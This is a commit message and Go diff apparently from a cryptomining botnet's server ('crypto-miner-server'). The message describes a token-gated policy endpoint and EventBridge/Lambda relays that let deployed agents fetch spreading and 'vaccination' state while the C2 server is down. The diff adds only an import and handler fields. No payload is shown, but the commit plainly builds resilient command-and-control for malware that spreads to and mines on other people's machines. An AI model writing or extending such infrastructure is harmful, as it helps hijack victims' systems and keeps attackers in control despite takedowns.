Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/internal/api/spread_handler.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"encoding/json"
@@ -12,6 +12,7 @@ import (
 	"time"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 
 	"github.com/go-chi/chi/v5"
 )
@@ -22,6 +23,11 @@ type SpreadHandler struct {
 	dataDir     string
 	projectRoot string
 	wsHub       *WSHub
+	publicURL         func() string
+	erasureShards     *erasure.ShardStore
+	deployPlan        *DeployPlanHandler
+	policyPathTracer  *PathTracerHandler
+	policyFanoutCfgFn func() PolicyFanoutConfig
 	notesMu     sync.RWMutex
 }